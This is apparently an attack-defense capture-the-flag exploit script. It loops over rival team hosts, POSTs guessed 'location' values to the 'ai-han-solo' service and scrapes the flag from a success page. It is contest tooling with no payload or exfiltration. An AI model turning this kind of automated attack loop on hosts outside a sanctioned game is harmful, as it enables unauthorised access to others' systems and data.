import re
import requests

# list of teams to shoot exploits (all listed except for our team)
team_list = [1,2,3,4,5,6,7,9,10,11,12,13,14,15,16]
service = u'ai-han-solo' # target service (required)
timeout = 10 # define timeout here
author = 'yechan' # author

guesses = [
    'ABC234243'
]

p = re.compile('<p>\s*(.+)\s*</div></div>')


def exploit(host, port):
    for guess in guesses:
        response = requests.post("http://{}:{}".format(host, port), data={
            'location': guess
        })

        if 'Congratulations, you have apprehended the criminal' in response.text:
            return p.search(response.text).group(1)

    return None
